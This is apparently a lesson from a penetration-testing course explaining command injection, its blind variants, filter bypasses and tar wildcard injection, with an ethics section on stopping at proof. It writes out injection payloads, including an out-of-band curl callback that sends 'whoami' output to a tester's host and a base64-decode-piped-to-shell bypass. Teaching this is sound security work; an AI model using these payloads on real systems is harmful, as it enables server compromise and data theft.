Lesson 4 · Reading · 35 min
Command injection
Some applications build an operating-system command out of your input and hand it to a shell to run. A "ping this host" tool, a PDF or image converter, a backup routine, a "run diagnostics" button, anything that shells out. When your input reaches that command unsafely, you can run your own commands on the server. This is command injection, and it is a straight line to owning the box.
The shape
It is injection (same instinct as SQL and XSS), with the shell as the interpreter. The app builds something like:
ping -c 1 [your input]
and runs it in a shell. Shells treat certain characters as separators and operators, so if your input reaches the command with those intact, you can append your own:
;: run the next command (ping -c 1 8.8.8.8; id).&&/||: run next if the first succeeds / fails.|: pipe into another command (... | id).`id`or$(id): command substitution, run inline.- newline, sometimes a separator too.
Send 8.8.8.8; id into that ping tool and the shell runs ping, then runs id, and the response includes uid=33(www-data)...: your command ran on the server.
Finding it
Look for any feature that plausibly shells out: host/IP tools (ping, traceroute, nslookup, whois), converters and processors (image, PDF, video, archive), "test connection" buttons, admin diagnostics, filename-based processing, and anything that names an external program. Then probe with a separator plus a harmless command:
127.0.0.1; id 127.0.0.1 && whoami 127.0.0.1 | id 127.0.0.1`id`
Watch for the output of your command appearing in the response. If id's output shows up alongside (or instead of) the normal result, you have command injection.
When you cannot see the output: blind command injection
Often the app runs the command but never shows you its output, just like blind SQLi. Then you create an observable effect, the same two ways:
- Time-based: inject a command that pauses.
; sleep 10: if the response takes ten seconds longer, your command ran. - Out-of-band: make the server reach out to a host you control.
; curl http://your-collaborator/$(whoami)or a DNS lookup to a domain you watch; when your server logs the hit (and the exfiltratedwhoamiin the subdomain), you have both confirmation and data. Tools like Burp Collaborator or a simple listener catch these callbacks.
Blind command injection is extremely common, so sleep and an out-of-band callback are your bread-and-butter confirmations.
Filters and their bypasses
Apps that suspect this filter shell metacharacters or specific words, and testers route around them:
- Alternate separators if one is blocked (
;vs|vs newline vs$()). - Whitespace tricks when spaces are filtered:
${IFS}in bash,<, or brace expansion. - String-splitting to dodge word blocklists:
w'h'oami,who$@ami, concatenation, or wildcards (/bin/c?t). - Encoding the payload and decoding it on the server (
echo <base64> | base64 -d | sh).
A filtered endpoint is not a safe one; it is one whose filter you have not yet read around.
Related: argument and wildcard injection
A subtler cousin: even without a shell metacharacter, if your input becomes an argument to a command, you may be able to smuggle in extra flags or abuse wildcards. The tar wildcard trick is the classic, a tar command run over * in a directory where you can create files lets you plant filenames that tar interprets as options (--checkpoint-action=exec=...), reaching command execution without any obvious injection character. Worth knowing that "no ; allowed" does not mean "no command injection possible".
The honesty gate
This is remote code execution: prove it with id/whoami/hostname or a sleep, and stop. Never run a destructive or exfiltrating command on a real system, never pivot beyond what the engagement allows, and clean up anything you created (files planted for a wildcard trick, for instance). One read-only command's output is the whole proof. On this Academy's labs you are free to run commands.
Your labs
PingPoint uptime checker injection is the textbook case: a host-checking tool that shells out, where a separator lets your command ride along, start with ; id. ArchiveIt tar wildcard injection is the argument/wildcard variant: no obvious metacharacter, but a tar-over-wildcard that you turn into execution by controlling filenames. Do PingPoint first for classic command injection, then ArchiveIt to see that injection is not only about ;.
Where this goes next
Reading files and running commands act on the server's own machine. The next lesson turns the server into a client: SSRF, where you make the server fetch a URL you choose and reach the internal network and cloud-credential endpoints it can see but you cannot.
This lesson has 3 labs to try what you just read.